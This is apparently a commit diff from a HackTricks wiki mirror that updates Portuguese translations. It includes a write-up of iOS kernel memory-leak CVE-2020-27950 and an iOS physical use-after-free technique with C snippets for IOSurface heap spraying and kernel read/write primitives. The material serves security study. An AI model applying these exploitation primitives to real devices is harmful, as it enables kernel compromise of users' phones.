maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-web/electron-des

Browse Source
This commit is contained in:
Translator 2025-09-30 00:08:38 +00:00
parent 6754a9fdc6
commit dc2ec78cb2
7 changed files with 408 additions and 426 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

32
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
View File

@ -5,11 +5,11 @@
## A Falha
Você tem uma [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mas, em resumo:
Você tem uma [ótima explicação da vulnerabilidade aqui](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mas resumindo:
Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.
Toda mensagem Mach que o kernel recebe termina com um **"trailer"**: uma struct de tamanho variável com metadados (seqno, sender token, audit token, context, access control data, labels...). O kernel **sempre reserva o maior trailer possível** (MAX_TRAILER_SIZE) no buffer da mensagem, mas **apenas inicializa alguns campos**, e depois **decide qual tamanho de trailer retornar** com base nas **opções de recebimento controladas pelo usuário**.
These are the trailer relevant structs:
Estas são as structs relevantes do trailer:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Então, por exemplo, ao tentar ler uma mach message usando `mach_msg()`, a função `ipc_kmsg_add_trailer()` é chamada para anexar o trailer à mensagem. Dentro dessa função o tamanho do trailer é calculado e alguns outros campos do trailer são preenchidos:
Então, por exemplo, ao tentar ler uma mensagem mach usando `mach_msg()`, a função `ipc_kmsg_add_trailer()` é chamada para anexar o trailer à mensagem. Dentro dessa função, o tamanho do trailer é calculado e alguns outros campos do trailer são preenchidos:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
O parâmetro `option` é controlado pelo usuário, então **é necessário fornecer um valor que passe na verificação `if`.**
O parâmetro `option` é controlado pelo usuário, então **é necessário passar um valor que satisfaça a verificação do `if`.**
Para passar essa verificação precisamos enviar um `option` suportado válido:
Para passar essa verificação precisamos enviar um `option` válido e suportado:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ Para passar essa verificação precisamos enviar um `option` suportado válido:
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Mas, como o `MACH_RCV_TRAILER_MASK` está apenas verificando bits, podemos passar qualquer valor entre `0` e `8` para não entrar no bloco `if`.
Mas, porque o `MACH_RCV_TRAILER_MASK` está apenas verificando bits, podemos passar qualquer valor entre `0` e `8` para não entrar na instrução `if`.
Em seguida, continuando com o código você pode encontrar:
Em seguida, continuando com o código, você pode encontrar:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Onde você pode ver que se o `option` for maior ou igual a `MACH_RCV_TRAILER_AV` (7), o campo **`msgh_ad`** é inicializado com `0`.
Aqui você pode ver que se o `option` é maior ou igual a `MACH_RCV_TRAILER_AV` (7), o campo **`msgh_ad`** é inicializado para `0`.
Se você reparou, **`msgh_ad`** ainda era o único campo do trailer que não havia sido inicializado antes, o que poderia conter um leak de memória usada anteriormente.
Se você notar, **`msgh_ad`** ainda era o único campo do trailer que não havia sido inicializado antes e que poderia conter um leak de memória previamente usada.
Portanto, a maneira de evitar inicializá-lo seria passar um valor de `option` igual a `5` ou `6`, de modo que passe no primeiro teste `if` e não entre no `if` que inicializa `msgh_ad`, porque os valores `5` e `6` não têm nenhum tipo de trailer associado.
Portanto, a forma de evitar sua inicialização é passar um valor de `option` igual a `5` ou `6`, assim ele passa a primeira verificação `if` e não entra no `if` que inicializa `msgh_ad`, porque os valores `5` e `6` não têm nenhum tipo de trailer associado.
### PoC Básico
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
No [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), há um PoC para apenas fazer leak de alguns dados aleatórios.
### PoC de Leak de Endereço do Kernel
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
No [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), há um PoC para fazer leak de um endereço do kernel. Para isso, uma mensagem cheia de structs `mach_msg_port_descriptor_t` é enviada, pois o campo `name` dessa estrutura em userland contém um unsigned int, enquanto no kernel o campo `name` é um ponteiro para a struct `ipc_port`. Portanto, enviar dezenas dessas structs na mensagem fará com que **vários endereços do kernel sejam adicionados dentro da mensagem**, de modo que um deles possa ser leakado.
Comentários foram adicionados para melhor entendimento:
Comentários foram adicionados para melhor compreensão:
```c
#include <stdio.h>
#include <stdlib.h>
@ -326,7 +326,7 @@ return 0;
```
## Referências
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Post no blog da Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

99
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
View File

@ -5,36 +5,35 @@
## iOS Exploit Mitigations
- **Code Signing** no iOS funciona exigindo que cada trecho de código executável (apps, libraries, extensions, etc.) seja criptograficamente assinado com um certificado emitido pela Apple. Quando o código é carregado, o iOS verifica a assinatura digital contra a raiz confiável da Apple. Se a assinatura for inválida, estiver ausente ou tiver sido modificada, o SO se recusa a executá-lo. Isso impede que atacantes injetem código malicioso em apps legítimos ou executem binários não assinados, efetivamente bloqueando a maioria das cadeias de exploit que dependem da execução de código arbitrário ou adulterado.
- **CoreTrust** é o subsistema do iOS responsável por impor a assinatura de código em tempo de execução. Ele verifica diretamente as assinaturas utilizando o certificado raiz da Apple sem depender de caches de confiança, o que significa que apenas binários assinados pela Apple (ou com entitlements válidos) podem ser executados. O CoreTrust garante que mesmo que um atacante tampe com um app após a instalação, modifique libraries do sistema ou tente carregar código não assinado, o sistema bloqueará a execução a menos que o código ainda esteja corretamente assinado. Essa aplicação rígida fecha muitos vetores pós-exploração que versões mais antigas do iOS permitiam através de verificações de assinatura mais fracas ou contornáveis.
- **Code Signing** in iOS funciona exigindo que cada pedaço de código executável (apps, libraries, extensions, etc.) seja assinados criptograficamente com um certificado emitido pela Apple. Quando o código é carregado, o iOS verifica a assinatura digital contra a raiz de confiança da Apple. Se a assinatura for inválida, ausente ou modificada, o SO recusa executá-lo. Isso impede que atacantes injetem código malicioso em apps legítimos ou executem binários não assinados, bloqueando a maioria das cadeias de exploit que dependem da execução de código arbitrário ou adulterado.
- **CoreTrust** é o subsistema do iOS responsável por aplicar a assinatura de código em tempo de execução. Ele verifica diretamente as assinaturas usando o certificado raiz da Apple sem depender de caches de confiança, significando que apenas binários assinados pela Apple (ou com entitlements válidos) podem executar. CoreTrust garante que mesmo se um atacante adulterar um app após a instalação, modificar libraries do sistema, ou tentar carregar código não assinado, o sistema bloqueará a execução a menos que o código ainda esteja corretamente assinado. Essa aplicação rigorosa fecha muitos vetores pós-exploração que versões antigas do iOS permitiam por meio de verificações de assinatura mais fracas ou contornáveis.
- **Data Execution Prevention (DEP)** marca regiões de memória como não-executáveis a menos que contenham explicitamente código. Isso impede que atacantes injetem shellcode em regiões de dados (como stack ou heap) e o executem, forçando-os a depender de técnicas mais complexas como ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomiza os endereços de memória de código, libraries, stack e heap a cada execução do sistema. Isso torna muito mais difícil para atacantes preverem onde instruções úteis ou gadgets estão, quebrando muitas cadeias de exploit que dependem de layouts de memória fixos.
- **KASLR (Kernel ASLR)** aplica o mesmo conceito de randomização ao kernel do iOS. Ao embaralhar o endereço base do kernel a cada boot, impede que atacantes localizem de forma confiável funções ou estruturas do kernel, aumentando a dificuldade de exploits em nível de kernel que visariam obter controle total do sistema.
- **Kernel Patch Protection (KPP)** também conhecido como **AMCC (Apple Mobile File Integrity)** no iOS, monitora continuamente as páginas de código do kernel para garantir que elas não foram modificadas. Se qualquer adulteração for detectada — como um exploit tentando patchar funções do kernel ou inserir código malicioso — o dispositivo entrará imediatamente em panic e reiniciará. Essa proteção torna exploits persistentes no kernel muito mais difíceis, pois atacantes não podem simplesmente hookar ou patchar instruções do kernel sem causar um crash do sistema.
- **Kernel Text Readonly Region (KTRR)** é uma funcionalidade de segurança baseada em hardware introduzida em dispositivos iOS. Ela usa o controlador de memória da CPU para marcar a seção de código (text) do kernel como permanentemente somente leitura após o boot. Uma vez bloqueada, até o próprio kernel não pode modificar essa região de memória. Isso impede que atacantes — e mesmo código privilegiado — façam patchs nas instruções do kernel em tempo de execução, fechando uma grande classe de exploits que dependiam de modificar diretamente o código do kernel.
- **Pointer Authentication Codes (PAC)** usam assinaturas criptográficas embutidas em bits não utilizados de pointers para verificar sua integridade antes do uso. Quando um pointer (como um endereço de retorno ou function pointer) é criado, a CPU o assina com uma chave secreta; antes de desreferenciar, a CPU verifica a assinatura. Se o pointer tiver sido adulterado, a verificação falha e a execução é interrompida. Isso impede que atacantes forjem ou reutilizem pointers corrompidos em exploits de corrupção de memória, tornando técnicas como ROP ou JOP muito mais difíceis de executar com confiabilidade.
- **Privilege Access never (PAN)** é uma funcionalidade de hardware que previne que o kernel (modo privilegiado) acesse diretamente a memória do user-space a menos que ative explicitamente esse acesso. Isso impede que atacantes que obtiveram execução de código no kernel leiam ou escrevam facilmente na memória do usuário para escalar privilégios ou roubar dados sensíveis. Ao reforçar a separação estrita, o PAN reduz o impacto de exploits no kernel e bloqueia muitas técnicas comuns de escalonamento de privilégios.
- **Page Protection Layer (PPL)** é um mecanismo de segurança do iOS que protege regiões críticas gerenciadas pelo kernel, especialmente aquelas relacionadas a code signing e entitlements. Ele aplica proteções rígidas de escrita usando a MMU (Memory Management Unit) e verificações adicionais, garantindo que mesmo código privilegiado do kernel não possa modificar arbitrariamente páginas sensíveis. Isso impede que atacantes que obtenham execução em nível de kernel temperem com estruturas críticas de segurança, tornando persistência e bypasses de code-signing significativamente mais difíceis.
- **ASLR (Address Space Layout Randomization)** randomiza os endereços de memória de código, libraries, stack e heap a cada execução do sistema. Isso torna muito mais difícil para atacantes preverem onde instruções ou gadgets úteis estão, quebrando muitas cadeias de exploit que dependem de layouts de memória fixos.
- **KASLR (Kernel ASLR)** aplica o mesmo conceito de randomização ao kernel do iOS. Ao embaralhar o endereço base do kernel a cada boot, impede que atacantes localizem de forma confiável funções ou estruturas do kernel, aumentando a dificuldade de exploits em nível de kernel que poderiam obter controle total do sistema.
- **Kernel Patch Protection (KPP)** também conhecido como **AMCC (Apple Mobile File Integrity)** no iOS, monitora continuamente as páginas de código do kernel para garantir que não foram modificadas. Se qualquer adulteração for detectada—como um exploit tentando patchar funções do kernel ou inserir código malicioso—o dispositivo entrará em panic e reiniciará imediatamente. Essa proteção torna exploits persistentes no kernel muito mais difíceis, pois atacantes não podem simplesmente hookar ou patchar instruções do kernel sem causar um crash do sistema.
- **Kernel Text Readonly Region (KTRR)** é uma feature de segurança baseada em hardware introduzida em dispositivos iOS. Ela usa o controlador de memória da CPU para marcar a seção de código (text) do kernel como permanentemente somente leitura após o boot. Uma vez bloqueada, nem mesmo o próprio kernel pode modificar essa região de memória. Isso impede que atacantes—e mesmo código privilegiado—patcharem instruções do kernel em tempo de execução, fechando uma grande classe de exploits que dependiam de modificar diretamente o código do kernel.
- **Pointer Authentication Codes (PAC)** usam assinaturas criptográficas embutidas em bits não utilizados de pointers para verificar sua integridade antes do uso. Quando um pointer (como um return address ou function pointer) é criado, a CPU o assina com uma chave secreta; antes de desreferenciar, a CPU checa a assinatura. Se o pointer foi adulterado, a checagem falha e a execução para. Isso impede que atacantes forjem ou reutilizem pointers corrompidos em exploits de corrupção de memória, tornando técnicas como ROP ou JOP muito mais difíceis de executar de forma confiável.
- **Privilege Access never (PAN)** é uma feature de hardware que impede o kernel (modo privilegiado) de acessar diretamente memória do espaço do usuário a menos que explicitamente habilite esse acesso. Isso impede que atacantes que obtiveram execução de código no kernel leiam ou escrevam facilmente na memória do usuário para escalar privilégios ou roubar dados sensíveis. Ao aplicar uma separação estrita, PAN reduz o impacto de exploits no kernel e bloqueia muitas técnicas comuns de elevação de privilégios.
- **Page Protection Layer (PPL)** é um mecanismo de segurança do iOS que protege regiões críticas de memória gerenciadas pelo kernel, especialmente aquelas relacionadas à assinatura de código e entitlements. Ele aplica proteções rígidas de escrita usando a MMU (Memory Management Unit) e checagens adicionais, garantindo que mesmo código privilegiado do kernel não possa modificar arbitrariamente páginas sensíveis. Isso impede que atacantes que obtêm execução em nível de kernel manipulem estruturas críticas de segurança, tornando persistência e bypass de code-signing significativamente mais difíceis.
## Physical use-after-free
Este é um resumo do post em [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); além disso, mais informações sobre exploits que usam esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
O **espaço de endereço de memória virtual** para processos de usuário no iOS vai de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para memória física. Em vez disso, o **kernel** usa **page tables** para traduzir endereços virtuais em endereços **físicos** reais.
O **espaço de endereço de memória virtual** para processos de usuário no iOS abrange de **0x0 a 0x8000000000**. No entanto, esses endereços não são mapeados diretamente para a memória física. Em vez disso, o **kernel** usa **page tables** para traduzir endereços virtuais em endereços **físicos** reais.
#### Levels of Page Tables in iOS
As page tables são organizadas hierarquicamente em três níveis:
Page tables são organizadas hierarquicamente em três níveis:
1. **L1 Page Table (Level 1)**:
* Cada entrada aqui representa uma grande faixa de memória virtual.
* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
2. **L2 Page Table (Level 2)**:
* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por si só.
* Uma entrada L1 pode apontar para uma tabela L2 se não puder mapear a região inteira por si só.
3. **L3 Page Table (Level 3)**:
* Este é o nível mais fino, onde cada entrada mapeia uma única página de **4 KB**.
* Uma entrada L2 pode apontar para uma tabela L3 se for necessário controle mais granular.
@ -51,9 +50,9 @@ As page tables são organizadas hierarquicamente em três níveis:
Suponha que você tente acessar o endereço virtual **0x1000000000**:
1. **L1 Table**:
* O kernel verifica a entrada da L1 page table correspondente a esse endereço virtual. Se ela tiver um **pointer para uma L2 page table**, o kernel vai para essa L2.
* O kernel verifica a entrada da L1 page table correspondente a esse endereço virtual. Se ela tiver um **pointer to an L2 page table**, vai para essa tabela L2.
2. **L2 Table**:
* O kernel verifica a L2 page table para um mapeamento mais detalhado. Se essa entrada apontar para uma **L3 page table**, ele prossegue até lá.
* O kernel verifica a L2 page table para um mapeamento mais detalhado. Se essa entrada apontar para uma **L3 page table**, prossegue para lá.
3. **L3 Table**:
* O kernel procura a entrada final L3, que aponta para o **endereço físico** da página de memória real.
@ -61,7 +60,7 @@ Suponha que você tente acessar o endereço virtual **0x1000000000**:
Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então:
* Endereços virtuais de **0x1000000000** até **0x1002000000** mapeiam para endereços físicos de **0x800004000** até **0x802004000**.
* Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**.
* Isso é um **block mapping** no nível L2.
Alternativamente, se a entrada L2 apontar para uma tabela L3:
@ -72,40 +71,40 @@ Alternativamente, se a entrada L2 apontar para uma tabela L3:
Um **physical use-after-free** (UAF) ocorre quando:
1. Um processo **aloca** alguma memória como **readable e writable**.
1. Um processo **aloca** alguma memória como **readable and writable**.
2. As **page tables** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar.
3. O processo **desaloca** (free) a memória.
4. Porém, devido a um **bug**, o kernel **esquece de remover o mapeamento** das page tables, mesmo marcando a memória física correspondente como livre.
5. O kernel pode então **realocar essa memória física "liberada"** para outros propósitos, como **dados do kernel**.
3. O processo **desaloca** (libera) a memória.
4. Entretanto, devido a um **bug**, o kernel **esquece de remover o mapping** das page tables, mesmo que marque a memória física correspondente como livre.
5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**.
6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física.
Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados sensíveis ou estruturas, potencialmente permitindo que um atacante **manipule a memória do kernel**.
Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule memória do kernel**.
### IOSurface Heap Spray
Como o atacante não controla quais páginas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada **heap spray**:
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel.
2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, tornando-o fácil de identificar.
3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada.
4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever a memória do kernel**.
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Esteja ciente de que dispositivos iOS 16+ (A12+) trazem mitigations de hardware (como PPL ou SPTM) que tornam técnicas de physical UAF muito menos viáveis.
> PPL impõe proteções MMU estritas em páginas relacionadas a code signing, entitlements e dados sensíveis do kernel, então, mesmo que uma página seja reutilizada, writes vindos do userland ou de código de kernel comprometido para páginas protegidas por PPL são bloqueados.
> Secure Page Table Monitor (SPTM) estende o PPL endurecendo as próprias atualizações de page table. Ele garante que mesmo código privilegiado do kernel não possa remapear silenciosamente páginas liberadas ou tamperar com mapeamentos sem passar por verificações seguras.
> KTRR (Kernel Text Read-Only Region) tranca a seção de código do kernel como somente leitura após o boot. Isso previne qualquer modificação em tempo de execução ao código do kernel, fechando um grande vetor de ataque que exploits de physical UAF frequentemente exploram.
> Além disso, alocações de `IOSurface` são menos previsíveis e mais difíceis de mapear para regiões acessíveis ao usuário, o que torna o truque de "escaneamento por valor mágico" muito menos confiável. E `IOSurface` agora é protegido por entitlements e restrições de sandbox.
> Esteja ciente de que dispositivos iOS 16+ (A12+) trazem mitigações de hardware (como PPL ou SPTM) que tornam técnicas de physical UAF muito menos viáveis.
> PPL aplica proteções MMU estritas em páginas relacionadas a code signing, entitlements e dados sensíveis do kernel, então, mesmo que uma página seja reutilizada, escritas do userland ou de código kernel comprometido para páginas protegidas por PPL são bloqueadas.
> Secure Page Table Monitor (SPTM) estende o PPL endurecendo as próprias atualizações de page table. Ele garante que mesmo código privilegiado do kernel não possa remapear silenciosamente páginas liberadas ou adulterar mappings sem passar por checagens seguras.
> KTRR (Kernel Text Read-Only Region), que bloqueia a seção de código do kernel como somente leitura após o boot. Isso impede quaisquer modificações em tempo de execução no código do kernel, fechando um grande vetor de ataque que exploits físicos de UAF frequentemente exploravam.
> Além disso, alocações de `IOSurface` são menos previsíveis e mais difíceis de mapear em regiões acessíveis pelo usuário, o que torna o truque de “scan por magic value” muito menos confiável. E `IOSurface` agora é protegido por entitlements e restrições de sandbox.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: O atacante cria muitos objetos IOSurface com um identificador especial ("magic value").
2. **Scan Freed Pages**: Eles verificam se algum dos objetos foi alocado em uma página liberada.
3. **Read/Write Kernel Memory**: Manipulando campos no objeto IOSurface, eles obtêm a habilidade de realizar **reads e writes arbitrários** na memória do kernel. Isso permite:
3. **Read/Write Kernel Memory**: Ao manipular campos no objeto IOSurface, eles obtêm a capacidade de realizar **arbitrary reads and writes** na memória do kernel. Isso permite:
* Usar um campo para **ler qualquer valor 32-bit** na memória do kernel.
* Usar outro campo para **escrever valores 64-bit**, alcançando um primitivo estável de **kernel read/write**.
* Usar outro campo para **escrever valores 64-bit**, alcançando um primitivo confiável de **kernel read/write**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
Buscar objetos **`IOSurface`** em uma página física liberada:
Procure por objetos **`IOSurface`** em uma página física liberada:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -162,24 +161,24 @@ free(surfaceIDs);
return 0;
}
```
### Obtendo Leitura/Escrita no Kernel com IOSurface
### Obtendo Leitura/Escrita no kernel com IOSurface
Depois de obter controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível do userspace), podemos usá-lo para **operações arbitrárias de leitura e escrita no kernel**.
Depois de controlar um objeto IOSurface em kernel memory (mapeado para uma página física liberada acessível a partir do userspace), podemos usá-lo para **operações arbitrárias de leitura e escrita no kernel**.
**Campos-chave no IOSurface**
**Key Fields in IOSurface**
O objeto IOSurface tem dois campos cruciais:
1. **Use Count Pointer**: Permite uma **leitura de 32 bits**.
2. **Indexed Timestamp Pointer**: Permite uma **escrita de 64 bits**.
Ao sobrescrever esses ponteiros, redirecionamos-os para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita.
Ao sobrescrever esses pointers, os redirecionamos para endereços arbitrários em kernel memory, habilitando capacidades de leitura/escrita.
#### Leitura de 32 bits no Kernel
#### Leitura de 32 bits no kernel
Para realizar uma leitura:
1. Sobrescreva o **Use Count Pointer** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.
1. Sobrescreva o **use count pointer** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.
2. Use o método `get_use_count` para ler o valor nesse endereço.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -198,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Escrita de 64 bits no kernel
#### Escrita de 64 bits no Kernel
Para realizar uma escrita:
1. Sobrescreva o **ponteiro de timestamp indexado** com o endereço de destino.
1. Sobrescreva o **indexed timestamp pointer** com o endereço de destino.
2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Resumo do fluxo do exploit
#### Recapitulação do Fluxo do Exploit
1. **Trigger Physical Use-After-Free**: Páginas liberadas ficam disponíveis para reutilização.
2. **Spray IOSurface Objects**: Alocar muitos objetos IOSurface com um "magic value" único na memória do kernel.
3. **Identify Accessible IOSurface**: Localizar um IOSurface em uma página liberada que você controla.
4. **Abuse Use-After-Free**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita no kernel** arbitrária via métodos do IOSurface.
1. **Acionar Physical Use-After-Free**: Páginas liberadas ficam disponíveis para reutilização.
2. **Spray IOSurface Objects**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel.
3. **Identificar Accessible IOSurface**: Localizar um IOSurface em uma página liberada que você controla.
4. **Abusar Use-After-Free**: Modificar ponteiros no objeto IOSurface para permitir **kernel read/write** arbitrários via métodos do IOSurface.
Com esses primitivos, o exploit fornece **leituras de 32 bits** controladas e **gravações de 64 bits** na memória do kernel. Passos subsequentes de jailbreak podem envolver primitivas de leitura/gravação mais estáveis, que podem requerer contornar proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).
Com esses primitivos, o exploit fornece **32-bit reads** controlados e **64-bit writes** para a memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de read/write mais estáveis, que podem requerer contornar proteções adicionais (por exemplo, PPL em dispositivos arm64e mais recentes).
{{#include ../../banners/hacktricks-training.md}}

156
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,174 +1,176 @@
# Blockchain e Cripto-moedas
{{#include ../../banners/hacktricks-training.md}}
## Conceitos Básicos
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** baseiam-se em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
- **Smart Contracts** são definidos como programas que são executados em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** são construídas sobre smart contracts, apresentando um front-end amigável ao usuário e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam-se: coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** indicam propriedade de ativos.
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
- **DEX** e **DAOs** referem-se a Plataformas de Exchange Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
## Mecanismos de Consenso
Os mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
